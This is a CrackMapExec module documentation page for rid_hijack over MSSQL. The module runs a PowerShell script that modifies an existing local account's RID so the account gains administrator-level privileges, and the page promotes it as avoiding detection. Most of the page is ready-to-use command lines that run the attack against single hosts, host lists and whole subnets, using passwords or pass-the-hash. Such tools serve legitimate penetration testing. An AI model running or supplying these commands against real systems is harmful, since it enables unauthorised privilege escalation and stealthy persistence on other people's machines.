CrackMapExec Rid_hijack (mssql)
This page contains detailed information about how to use the rid_hijack CME module while using the mssql protocol. For list of all CrackMapExec modules, visit the CrackMapExec Module Library.
Description
This module executes Invoke-RIDhijacking.ps1 PowerShell script allowing to set desired privileges to an existent local account by modifying the Relative Identifier (RID) value copy used to create the access token.
The rid_hijack module is OPSEC safe. This means that it doesn't touch the disk and therefore shouldn't trigger any alarms.
Supported Protocols
- mssql
- smb
Module Source Code
Authors
- Sebastian Castro @r4wd3r
Module Options
Here is a complete list of rid_hijack module options:
# cme mssql -M rid_hijack --options
[*] rid_hijack module options:
RID RID to set to the specified account. Default 500.
USER User to set the defined RID.
USEGUEST Boolean. Set the defined RID to the Guest account.
PASSWORD Password to set to the defined account.
ENABLE Boolean. Enable the defined account.
Note that none of these options is required. If you want to change any of the default values, you can do so by adding, e.g. -o RID=VALUE parameter to the command line.
Module Usage
This is how to use the rid_hijack module while using the mssql protocol:
Syntax:
# cme mssql <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M rid_hijack
Admin user:
# cme mssql 10.0.5.1 -u sa -p P@ss123 -d . -M rid_hijack
# cme mssql 10.0.5.1 -u sa -p P@ss123 --local-auth -M rid_hijack
Normal user:
# cme mssql 10.0.5.1 -u dbuser -p P@ss123 -d target.corp -M rid_hijack
CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:
# cme mssql 10.0.5.1 -u sa -H 432b022dc22aa5afe884e986b8383ff2 -d . -M rid_hijack
# cme mssql 10.0.5.1 -u dbuser -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M rid_hijack
The rid_hijack module can be also used against multiple hosts. Here's how to run it against multiple hosts:# cme mssql target_list.txt -u sa -p P@ss123 -d . -M rid_hijack
# cme mssql 10.0.5.0/24 -u sa -p P@ss123 -d . -M rid_hijack
# cme mssql 10.0.5.1-100 -u sa -p P@ss123 -d . -M rid_hijack
References
Version
This page has been created based on CrackMapExec version 5.1.7dev.
Visit CrackMapExec Module Library for more modules.